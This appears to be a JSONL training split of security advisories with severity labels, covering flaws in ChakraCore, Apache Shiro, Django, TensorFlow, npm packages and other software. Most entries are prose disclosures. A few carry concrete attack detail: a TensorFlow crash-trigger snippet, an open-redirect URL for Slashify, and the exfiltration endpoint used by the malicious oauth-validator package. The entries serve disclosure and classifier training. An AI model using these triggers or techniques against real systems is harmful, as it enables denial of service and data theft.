-{"id": "b082536d1e345eff81a3", "text": "Out-of-bounds write in ChakraCore\n\nA remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0823, CVE-2020-0825, CVE-2020-0826, CVE-2020-0827, CVE-2020-0828, CVE-2020-0829, CVE-2020-0831, CVE-2020-0832, CVE-2020-0833, CVE-2020-0848.", "text_raw": "Out-of-bounds write in ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0823, CVE-2020-0825, CVE-2020-0826, CVE-2020-0827, CVE-2020-0828, CVE-2020-0829, CVE-2020-0831, CVE-2020-0832, CVE-2020-0833, CVE-2020-0848.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-28", "split": "train"}
-{"id": "f03945bf611e4fc3d8cc", "text": "Open redirect in Slashify\n\nThe package is an Express middleware that normalises routes by stripping any final slash, redirecting, for example, `bookings/latest/` to `bookings/latest`. However, it does not validate the path it redirects to in any way. In particular, if the path starts with two slashes (or two backslashes, or a slash and a backslash, etc.) it may redirect to a different domain.\n\nConsider the [example from the docs](https://www.npmjs.com/package/slashify#usage). Assume we have run it and started a server on `localhost:3000`, then visiting `localhost:3000///github.com/` redirects you to https://github.com.\n\n## Recommendation\n\nThis vulnerability is currently un-patched in the `slashify` package so there is no known safe version of this package. Discontinuing use of `slashify` is recommended.", "text_raw": "Open redirect in Slashify\n\n[Severity: MEDIUM]\n\nThe package is an Express middleware that normalises routes by stripping any final slash, redirecting, for example, `bookings/latest/` to `bookings/latest`. However, it does not validate the path it redirects to in any way. In particular, if the path starts with two slashes (or two backslashes, or a slash and a backslash, etc.) it may redirect to a different domain.\n\nConsider the [example from the docs](https://www.npmjs.com/package/slashify#usage). Assume we have run it and started a server on `localhost:3000`, then visiting `localhost:3000///github.com/` redirects you to https://github.com.\n\n## Recommendation\n\nThis vulnerability is currently un-patched in the `slashify` package so there is no known safe version of this package. Discontinuing use of `slashify` is recommended.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-05", "split": "train"}
-{"id": "2f77cfdb9917c59362a4", "text": "Authentication bypass in Apache Shiro\n\nApache Shiro before 1.6.0, when using Apache Shiro, a specially crafted HTTP request may cause an authentication bypass.", "text_raw": "Authentication bypass in Apache Shiro\n\n[Severity: HIGH]\n\nApache Shiro before 1.6.0, when using Apache Shiro, a specially crafted HTTP request may cause an authentication bypass.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "b613c56810a647bbb1d9", "text": "Apache Camel's Validation Component is vulnerable against SSRF via remote DTDs and XXE.\n\nDescription: The Validation Component of Apache Camel evaluates DTD headers of XML stream sources, although a validation against XML schemas (XSD) is executed. Remote attackers can use this feature to make Server-Side Request Forgery (SSRF) attacks by sending XML documents with remote DTDs URLs or XML External Entities (XXE).  The vulnerability is not given for SAX or StAX sources.\n\nMitigation: 2.17.x users should upgrade to 2.17.6, 2.18.x users should upgrade to 2.18.3.\n\nThe JIRA tickets https://issues.apache.org/jira/browse/CAMEL-10894 refers to the various commits that resolved the issue, and have more details.", "text_raw": "Apache Camel's Validation Component is vulnerable against SSRF via remote DTDs and XXE.\n\n[Severity: HIGH]\n\nDescription: The Validation Component of Apache Camel evaluates DTD headers of XML stream sources, although a validation against XML schemas (XSD) is executed. Remote attackers can use this feature to make Server-Side Request Forgery (SSRF) attacks by sending XML documents with remote DTDs URLs or XML External Entities (XXE).  The vulnerability is not given for SAX or StAX sources.\n\nMitigation: 2.17.x users should upgrade to 2.17.6, 2.18.x users should upgrade to 2.18.3. \n\nThe JIRA tickets https://issues.apache.org/jira/browse/CAMEL-10894 refers to the various commits that resolved the issue, and have more details.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "2d67314496e8469dcfc4", "text": "The host name verification missing in Apache Tomcat\n\nThe host name verification when using TLS with the WebSocket client was missing. It is now enabled by default. Versions Affected: Apache Tomcat 9.0.0.M1 to 9.0.9, 8.5.0 to 8.5.31, 8.0.0.RC1 to 8.0.52, and 7.0.35 to 7.0.88.", "text_raw": "The host name verification missing in Apache Tomcat\n\n[Severity: HIGH]\n\nThe host name verification when using TLS with the WebSocket client was missing. It is now enabled by default. Versions Affected: Apache Tomcat 9.0.0.M1 to 9.0.9, 8.5.0 to 8.5.31, 8.0.0.RC1 to 8.0.52, and 7.0.35 to 7.0.88.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "26aa3d78da7caaad1856", "text": "Improper date handling in Django\n\nThe password reset functionality in django.contrib.auth in Django before 1.1.3, 1.2.x before 1.2.4, and 1.3.x before 1.3 beta 1 does not validate the length of a string representing a base36 timestamp, which allows remote attackers to cause a denial of service (resource consumption) via a URL that specifies a large base36 integer.", "text_raw": "Improper date handling in Django\n\n[Severity: MEDIUM]\n\nThe password reset functionality in django.contrib.auth in Django before 1.1.3, 1.2.x before 1.2.4, and 1.3.x before 1.3 beta 1 does not validate the length of a string representing a base36 timestamp, which allows remote attackers to cause a denial of service (resource consumption) via a URL that specifies a large base36 integer.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "3c2e42c4421a3ed96f1f", "text": "Arbitrary Code Execution in shiba\n\nAll versions of package shiba are vulnerable to Arbitrary Code Execution due to the default usage of the function `load()` of the package js-yaml instead of its secure replacement , `safeLoad()`.", "text_raw": "Arbitrary Code Execution in shiba\n\n[Severity: HIGH]\n\nAll versions of package shiba are vulnerable to Arbitrary Code Execution due to the default usage of the function `load()` of the package js-yaml instead of its secure replacement , `safeLoad()`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "f70214aa95718d43015e", "text": "Double free in crossbeam\n\nEven if an element is popped from a queue, crossbeam would run its destructor inside the epoch-based garbage collector. This is a source of double frees.\n\nThe flaw was corrected by wrapping elements inside queues in a ManuallyDrop.", "text_raw": "Double free in crossbeam\n\n[Severity: CRITICAL]\n\nEven if an element is popped from a queue, crossbeam would run its destructor inside the epoch-based garbage collector. This is a source of double frees.\n\nThe flaw was corrected by wrapping elements inside queues in a ManuallyDrop.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "38b103afc64ff3110255", "text": "Plone and plone.app.users allow remote authenticated users to modify the properties of arbitrary accounts\n\nplone.app.users in Plone 4.0 and 4.1 allows remote authenticated users to modify the properties of arbitrary accounts via unspecified vectors, as exploited in the wild in June 2011.", "text_raw": "Plone and plone.app.users allow remote authenticated users to modify the properties of arbitrary accounts\n\n[Severity: HIGH]\n\nplone.app.users in Plone 4.0 and 4.1 allows remote authenticated users to modify the properties of arbitrary accounts via unspecified vectors, as exploited in the wild in June 2011.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "1e33a25011a5c4f5bda7", "text": "Improper Authentication in HashiCorp Nomad\n\nHashiCorp Nomad and Nomad Enterprise up to 1.0.13, 1.1.7, and 1.2.0, with the QEMU task driver enabled, allowed authenticated users with job submission capabilities to bypass the configured allowed image paths. Fixed in 1.0.14, 1.1.8, and 1.2.1.", "text_raw": "Improper Authentication in HashiCorp Nomad\n\n[Severity: HIGH]\n\nHashiCorp Nomad and Nomad Enterprise up to 1.0.13, 1.1.7, and 1.2.0, with the QEMU task driver enabled, allowed authenticated users with job submission capabilities to bypass the configured allowed image paths. Fixed in 1.0.14, 1.1.8, and 1.2.1.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "d4d0757b1c42ff866b94", "text": "FPE in `ParallelConcat`\n\n### Impact\nThe [implementation of `ParallelConcat`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/inplace_ops.cc#L72-L97) misses some input validation and can produce a division by 0:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  y = tf.raw_ops.ParallelConcat(values=[['tf']],shape=0)\n  return y\n\ntest()\n```\n\n### Patches\nWe have patched the issue in GitHub commit [f2c3931113eaafe9ef558faaddd48e00a6606235](https://github.com/tensorflow/tensorflow/commit/f2c3931113eaafe9ef558faaddd48e00a6606235).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "FPE in `ParallelConcat`\n\n[Severity: MEDIUM]\n\n### Impact\nThe [implementation of `ParallelConcat`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/inplace_ops.cc#L72-L97) misses some input validation and can produce a division by 0:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  y = tf.raw_ops.ParallelConcat(values=[['tf']],shape=0)\n  return y\n\ntest()\n```\n\n### Patches\nWe have patched the issue in GitHub commit [f2c3931113eaafe9ef558faaddd48e00a6606235](https://github.com/tensorflow/tensorflow/commit/f2c3931113eaafe9ef558faaddd48e00a6606235).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "d2d1a13ebd76a88ea2d2", "text": "Active Record contains SQL Injection via improper range quoting\n\nSQL injection vulnerability in activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb in the PostgreSQL adapter for Active Record in Ruby on Rails 4.x before 4.0.7 and 4.1.x before 4.1.3 allows remote attackers to execute arbitrary SQL commands by leveraging improper range quoting.", "text_raw": "Active Record contains SQL Injection via improper range quoting\n\n[Severity: HIGH]\n\nSQL injection vulnerability in activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb in the PostgreSQL adapter for Active Record in Ruby on Rails 4.x before 4.0.7 and 4.1.x before 4.1.3 allows remote attackers to execute arbitrary SQL commands by leveraging improper range quoting.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "dabab8f7d1985030ef86", "text": "Improper exception handling in Aedes\n\nAn issue was discovered in MoscaJS Aedes 0.42.0 and fixed in 0.42.1. lib/write.js does not properly consider exceptions during the writing of an invalid packet to a stream.", "text_raw": "Improper exception handling in Aedes\n\n[Severity: HIGH]\n\nAn issue was discovered in MoscaJS Aedes 0.42.0 and fixed in 0.42.1. lib/write.js does not properly consider exceptions during the writing of an invalid packet to a stream. ", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "c4dedd9657baf3147355", "text": "Cross-Site Scripting in swagger-ui\n\nVersions of `swagger-ui` prior to 2.2.1 are vulnerable to Cross-Site Scripting (XSS). The package allows HTML code in the `swagger.apiInfo.description` value without proper sanitization, which may allow attackers to execute arbitrary JavaScript.\n\n## Recommendation\n\nUpgrade to version 2.2.1 or later.", "text_raw": "Cross-Site Scripting in swagger-ui\n\n[Severity: MEDIUM]\n\nVersions of `swagger-ui` prior to 2.2.1 are vulnerable to Cross-Site Scripting (XSS). The package allows HTML code in the `swagger.apiInfo.description` value without proper sanitization, which may allow attackers to execute arbitrary JavaScript.\n\n\n## Recommendation\n\nUpgrade to version 2.2.1 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "c98fff2f1a74a6ba4b54", "text": "Malicious Package in bufner-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in bufner-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "9ff658dd8f75c1375ebd", "text": "Nokogiri NULL Pointer Dereference\n\nA NULL pointer dereference vulnerability exists in the `xpath.c:xmlXPathCompOpEval()` function of libxml2 through 2.9.8 when parsing an invalid XPath expression in the `XPATH_OP_AND` or `XPATH_OP_OR` case. Applications processing untrusted XSL format inputs with the use of the libxml2 library may be vulnerable to a denial of service attack due to a crash of the application.", "text_raw": "Nokogiri NULL Pointer Dereference\n\n[Severity: HIGH]\n\nA NULL pointer dereference vulnerability exists in the `xpath.c:xmlXPathCompOpEval()` function of libxml2 through 2.9.8 when parsing an invalid XPath expression in the `XPATH_OP_AND` or `XPATH_OP_OR` case. Applications processing untrusted XSL format inputs with the use of the libxml2 library may be vulnerable to a denial of service attack due to a crash of the application.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-01-17", "split": "train"}
-{"id": "a6caaea32ac68733e02c", "text": "Denial of service in Tendermint\n\n### Description\n\n**Denial of Service 1**\n\nTendermint 0.33.2 and earlier does not limit the number of P2P connection requests. For each p2p connection, Tendermint allocates XXX bytes. Even though this memory is garbage collected once the connection is terminated (due to duplicate IP or reaching a maximum number of inbound peers), temporary memory spikes can lead to OOM (Out-Of-Memory) exceptions.\n\nTendermint 0.33.3 (and 0.32.10) limits the total number of P2P incoming connection requests to to `p2p.max_num_inbound_peers + len(p2p.unconditional_peer_ids)`.\n\nNotes:\n\n- Tendermint does not rate limit P2P connection requests per IP (an attacker can saturate all the inbound slots);\n- Tendermint does not rate limit HTTP(S) requests. If you expose any RPC endpoints to the public, please make sure to put in place some protection (https://www.nginx.com/blog/rate-limiting-nginx/). We may implement this in the future (https://github.com/tendermint/tendermint/issues/1696).\n\n**Denial of Service 2**\n\nTendermint 0.33.2 and earlier does not reclaim `activeID` of a peer after it's removed in `Mempool` reactor. This does not happen all the time. It only happens when a connection fails (for any reason) before the `Peer` is created and added to all reactors. `RemovePeer` is therefore called before `AddPeer`, which leads to always growing memory (`activeIDs` map). The `activeIDs` map has a maximum size of 65535 and the node will panic if this map reaches the maximum. An attacker can create a lot of connection attempts (exploiting Denial of Service 1), which ultimately will lead to the node panicking.\n\nTendermint 0.33.3 (and 0.32.10) claims `activeID` for a peer in `InitPeer`, which is executed before `MConnection` is started.\n\nNotes:\n\n- `InitPeer` function was added to all reactors to combat a similar issue - https://github.com/tendermint/tendermint/issues/3338;\n- Denial of Service 2 is independent of Denial of Service 1 and can be executed without it.\n\n### Specific Go Packages Affected\ngithub.com/tendermint/tendermint/p2p\n\n### Impact\n\n- All full nodes (except for validators who are behind closed networks)\n- Node's memory usage increases, then it panics either in the mempool or due to OOM.\n\n### Patches\n\n- v0.33.3\n- v0.32.10\n- v0.31.12\n\n### Workarounds\n\nNo workarounds.\n\n### References\n\n- https://hackerone.com/reports/820317 (not disclosed yet)\n- https://github.com/tendermint/tendermint/issues/3338\n- https://github.com/tendermint/tendermint/issues/1696\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [tendermint/tendermint](https://github.com/tendermint/tendermint)\n* Email us at [security@tendermint.com](mailto:security@tendermint.com)\n\nMore information can be found [here](https://tendermint.com/security/).\n\n### Credits\n\n- [fudongbai](https://hackerone.com/fudongbai) for discovering and reporting Denial of Service 2\n- Ethan Buchman (@ebuchman) for writing a test case for Denial of Service 2 and Tess Rinearson (@tessr) for fixing it\n- Anton Kaliaev (@melekes) for fixing Denial of Service 1", "text_raw": "Denial of service in Tendermint\n\n[Severity: LOW]\n\n### Description\n\n**Denial of Service 1**\n\nTendermint 0.33.2 and earlier does not limit the number of P2P connection requests. For each p2p connection, Tendermint allocates XXX bytes. Even though this memory is garbage collected once the connection is terminated (due to duplicate IP or reaching a maximum number of inbound peers), temporary memory spikes can lead to OOM (Out-Of-Memory) exceptions. \n\nTendermint 0.33.3 (and 0.32.10) limits the total number of P2P incoming connection requests to to `p2p.max_num_inbound_peers + len(p2p.unconditional_peer_ids)`.\n\nNotes:\n\n- Tendermint does not rate limit P2P connection requests per IP (an attacker can saturate all the inbound slots);\n- Tendermint does not rate limit HTTP(S) requests. If you expose any RPC endpoints to the public, please make sure to put in place some protection (https://www.nginx.com/blog/rate-limiting-nginx/). We may implement this in the future (https://github.com/tendermint/tendermint/issues/1696).\n\n**Denial of Service 2**\n\nTendermint 0.33.2 and earlier does not reclaim `activeID` of a peer after it's removed in `Mempool` reactor. This does not happen all the time. It only happens when a connection fails (for any reason) before the `Peer` is created and added to all reactors. `RemovePeer` is therefore called before `AddPeer`, which leads to always growing memory (`activeIDs` map). The `activeIDs` map has a maximum size of 65535 and the node will panic if this map reaches the maximum. An attacker can create a lot of connection attempts (exploiting Denial of Service 1), which ultimately will lead to the node panicking.\n\nTendermint 0.33.3 (and 0.32.10) claims `activeID` for a peer in `InitPeer`, which is executed before `MConnection` is started.\n\nNotes: \n\n- `InitPeer` function was added to all reactors to combat a similar issue - https://github.com/tendermint/tendermint/issues/3338;\n- Denial of Service 2 is independent of Denial of Service 1 and can be executed without it.\n\n### Specific Go Packages Affected\ngithub.com/tendermint/tendermint/p2p\n\n### Impact\n\n- All full nodes (except for validators who are behind closed networks)\n- Node's memory usage increases, then it panics either in the mempool or due to OOM.\n\n### Patches\n\n- v0.33.3\n- v0.32.10\n- v0.31.12\n\n### Workarounds\n\nNo workarounds.\n\n### References\n\n- https://hackerone.com/reports/820317 (not disclosed yet)\n- https://github.com/tendermint/tendermint/issues/3338\n- https://github.com/tendermint/tendermint/issues/1696\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [tendermint/tendermint](https://github.com/tendermint/tendermint)\n* Email us at [security@tendermint.com](mailto:security@tendermint.com)\n\nMore information can be found [here](https://tendermint.com/security/).\n\n### Credits\n\n- [fudongbai](https://hackerone.com/fudongbai) for discovering and reporting Denial of Service 2\n- Ethan Buchman (@ebuchman) for writing a test case for Denial of Service 2 and Tess Rinearson (@tessr) for fixing it\n- Anton Kaliaev (@melekes) for fixing Denial of Service 1", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-27", "split": "train"}
-{"id": "dd89c3d2c294423e5039", "text": "Cross-Site Scripting\n\nA reflected Cross-Site Scripting (XSS) flaw was found in RESTEasy in all versions of RESTEasy up to 4.6.0.Final, where it did not properly handle URL encoding when calling @javax.ws.rs.PathParam without any @Produces MediaType. This flaw allows an attacker to launch a reflected XSS attack. The highest threat from this vulnerability is to data confidentiality and integrity.", "text_raw": "Cross-Site Scripting\n\n[Severity: HIGH]\n\nA reflected Cross-Site Scripting (XSS) flaw was found in RESTEasy in all versions of RESTEasy up to 4.6.0.Final, where it did not properly handle URL encoding when calling @javax.ws.rs.PathParam without any @Produces MediaType. This flaw allows an attacker to launch a reflected XSS attack. The highest threat from this vulnerability is to data confidentiality and integrity.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-15", "split": "train"}
-{"id": "e904d54bee7c6860b9c2", "text": "@npmcli/arborist vulnerable to UNIX Symbolic Link (Symlink) Following\n\n### Impact\n\nArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution\n\n`@npmcli/arborist`, the library that calculates dependency trees and manages the `node_modules` folder hierarchy for the npm command line interface, aims to guarantee that package dependency contracts will be met, and the extraction of package contents will always be performed into the expected folder.\n\nThis is, in part, accomplished by resolving dependency specifiers defined in `package.json` manifests for dependencies with a specific name, and nesting folders to resolve conflicting dependencies.\n\nWhen multiple dependencies differ only in the case of their name, Arborist's internal data structure saw them as separate items that could coexist within the same level in the `node_modules` hierarchy.  However, on case-insensitive file systems (such as macOS and Windows), this is not the case.  Combined with a symlink dependency such as `file:/some/path`, this allowed an attacker to create a situation in which arbitrary contents could be written to any location on the filesystem.\n\nFor example, a package `pwn-a` could define a dependency in their `package.json` file such as `\"foo\": \"file:/some/path\"`.  Another package, `pwn-b` could define a dependency such as `FOO: \"file:foo.tgz\"`.  On case-insensitive file systems, if `pwn-a` was installed, and then `pwn-b` was installed afterwards, the contents of `foo.tgz` would be written to `/some/path`, and any existing contents of `/some/path` would be removed.\n\nAnyone using npm v7.20.6 or earlier on a case-insensitive filesystem is potentially affected.\n\n### Patches\n\n2.8.2 (included in npm v7.20.7 and above)\n\n### Fix and Caveats\n\nThere are two parts to the fix:\n\n1. Immediately prior to extraction, if the target folder is not a directory, it is moved aside.  (If the installation fails, filesystem entries moved aside in this manner are moved back as part of the rollback process.)\n2. The `children` map that represents child nodes in the tree is replaced with a case-insensitive map object, such that `node.children.get('foo')` and `node.children.get('FOO')` will return the same object, enabling Arborist to detect and handle this class of tree collision.\n\nThis second item imposes a caveat on case _sensitive_ filesystems where two packages with names which differ only in case may already exist at the same level in the tree, causing unpredictable behavior in this rare edge case.  Note that in such cases, the `package-lock.json` already creates a situation which is hazardous to use on case-sensitive filesystems, and will likely lead to other problems.\n\nIf affected by this caveat, please run `npm update` to rebuild your tree and generate a new `package-lock.json` file.", "text_raw": "@npmcli/arborist vulnerable to UNIX Symbolic Link (Symlink) Following\n\n[Severity: HIGH]\n\n### Impact\n\nArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution\n\n`@npmcli/arborist`, the library that calculates dependency trees and manages the `node_modules` folder hierarchy for the npm command line interface, aims to guarantee that package dependency contracts will be met, and the extraction of package contents will always be performed into the expected folder.\n\nThis is, in part, accomplished by resolving dependency specifiers defined in `package.json` manifests for dependencies with a specific name, and nesting folders to resolve conflicting dependencies.\n\nWhen multiple dependencies differ only in the case of their name, Arborist's internal data structure saw them as separate items that could coexist within the same level in the `node_modules` hierarchy.  However, on case-insensitive file systems (such as macOS and Windows), this is not the case.  Combined with a symlink dependency such as `file:/some/path`, this allowed an attacker to create a situation in which arbitrary contents could be written to any location on the filesystem.\n\nFor example, a package `pwn-a` could define a dependency in their `package.json` file such as `\"foo\": \"file:/some/path\"`.  Another package, `pwn-b` could define a dependency such as `FOO: \"file:foo.tgz\"`.  On case-insensitive file systems, if `pwn-a` was installed, and then `pwn-b` was installed afterwards, the contents of `foo.tgz` would be written to `/some/path`, and any existing contents of `/some/path` would be removed.\n\nAnyone using npm v7.20.6 or earlier on a case-insensitive filesystem is potentially affected.\n\n### Patches\n\n2.8.2 (included in npm v7.20.7 and above)\n\n### Fix and Caveats\n\nThere are two parts to the fix:\n\n1. Immediately prior to extraction, if the target folder is not a directory, it is moved aside.  (If the installation fails, filesystem entries moved aside in this manner are moved back as part of the rollback process.)\n2. The `children` map that represents child nodes in the tree is replaced with a case-insensitive map object, such that `node.children.get('foo')` and `node.children.get('FOO')` will return the same object, enabling Arborist to detect and handle this class of tree collision.\n\nThis second item imposes a caveat on case _sensitive_ filesystems where two packages with names which differ only in case may already exist at the same level in the tree, causing unpredictable behavior in this rare edge case.  Note that in such cases, the `package-lock.json` already creates a situation which is hazardous to use on case-sensitive filesystems, and will likely lead to other problems.\n\nIf affected by this caveat, please run `npm update` to rebuild your tree and generate a new `package-lock.json` file.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-31", "split": "train"}
-{"id": "69087953b12368c7e8a2", "text": "Microsoft Office Memory Corruption Vulnerability\n\nAffected: Microsoft Office\n\nMicrosoft Office contains a memory corruption vulnerability due to the way objects are handled in memory. Successful exploitation allows for remote code execution in the context of the current user. This vulnerability is known to be chained with CVE-2018-0798.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Office Memory Corruption Vulnerability\n\nAffected: Microsoft Office\n\nMicrosoft Office contains a memory corruption vulnerability due to the way objects are handled in memory. Successful exploitation allows for remote code execution in the context of the current user. This vulnerability is known to be chained with CVE-2018-0798.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "532ee5d575d1996146b1", "text": "Malicious Package in oauth-validator\n\nVersion 1.0.2 of `oauth-validator` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 1.0.2 of this module is found installed you will want to replace it with a version before or after 1.0.2. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.1", "text_raw": "Malicious Package in oauth-validator\n\n[Severity: CRITICAL]\n\nVersion 1.0.2 of `oauth-validator` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 1.0.2 of this module is found installed you will want to replace it with a version before or after 1.0.2. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.1", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "6a6ec7b92b13572d9d39", "text": "AdaptCMS 3.0.3 HTTP Referer Header Field Open Redirect Vulnerability", "text_raw": "AdaptCMS 3.0.3 HTTP Referer Header Field Open Redirect Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2015-01-05", "split": "train"}
-{"id": "e2d254a7d602f0e87368", "text": "Validation Bypass in slp-validate\n\nVersions of `slp-validate` prior to 1.0.1 are vulnerable to a validation bypass. Bitcoin scripts may cause the validation result from `slp-validate` to differ from the specified SLP consensus. This allows an attacker to create a Bitcoin script that causes a hard-fork from the SLP consensus.\n\n## Recommendation\n\nUpgrade to version 1.0.1 or later.", "text_raw": "Validation Bypass in slp-validate\n\n[Severity: CRITICAL]\n\nVersions of `slp-validate` prior to 1.0.1 are vulnerable to a validation bypass. Bitcoin scripts may cause the validation result from `slp-validate` to differ from the specified SLP consensus. This allows an attacker to create a Bitcoin script that causes a hard-fork from the SLP consensus.\n\n\n## Recommendation\n\nUpgrade to version 1.0.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-11-15", "split": "train"}
-{"id": "a9f984e8a829e37781dd", "text": "SQL Injection in connect-pg-simple\n\n### Impact\nAn unlikely SQL injection if the case of an unsanitized table name input.\n\n### Patches\nThe user should upgrade to `6.0.1`. Due to its low impact a backport has not been made to the `5.x` branch.\n\n### Workarounds\nIf there is no likelihood that the `tableName` or `schemaName` options sent to the constructor could be of an unsanitized nature, then no workaround is needed. Else the input could be sanitized and escaped before sending it in. Take note though that such an escaping would need to be removed when upgrading to `6.0.1` or later, to avoid double escaping.\n\n### References\n* [Security issue disclosure](https://github.com/voxpelli/node-connect-pg-simple/issues/151)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [voxpelli/node-connect-pg-simple](https://github.com/voxpelli/node-connect-pg-simple)\n* Email maintainer at [pelle@kodfabrik.se](mailto:pelle@kodfabrik.se)", "text_raw": "SQL Injection in connect-pg-simple\n\n[Severity: HIGH]\n\n### Impact\nAn unlikely SQL injection if the case of an unsanitized table name input.\n\n### Patches\nThe user should upgrade to `6.0.1`. Due to its low impact a backport has not been made to the `5.x` branch.\n\n### Workarounds\nIf there is no likelihood that the `tableName` or `schemaName` options sent to the constructor could be of an unsanitized nature, then no workaround is needed. Else the input could be sanitized and escaped before sending it in. Take note though that such an escaping would need to be removed when upgrading to `6.0.1` or later, to avoid double escaping.\n\n### References\n* [Security issue disclosure](https://github.com/voxpelli/node-connect-pg-simple/issues/151)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [voxpelli/node-connect-pg-simple](https://github.com/voxpelli/node-connect-pg-simple)\n* Email maintainer at [pelle@kodfabrik.se](mailto:pelle@kodfabrik.se)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-08-26", "split": "train"}
-{"id": "aae828e9de75c8dbf79c", "text": "Improper Access Control in Dolibarr\n\nIn “Dolibarr” application, 2.8.1 to 13.0.4 don’t restrict or incorrectly restricts access to a resource from an unauthorized actor. A low privileged attacker can modify the Private Note which only an administrator has rights to do, the affected field is at “/adherents/note.php?id=1” endpoint.", "text_raw": "Improper Access Control in Dolibarr\n\n[Severity: MEDIUM]\n\nIn “Dolibarr” application, 2.8.1 to 13.0.4 don’t restrict or incorrectly restricts access to a resource from an unauthorized actor. A low privileged attacker can modify the Private Note which only an administrator has rights to do, the affected field is at “/adherents/note.php?id=1” endpoint.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-11", "split": "train"}
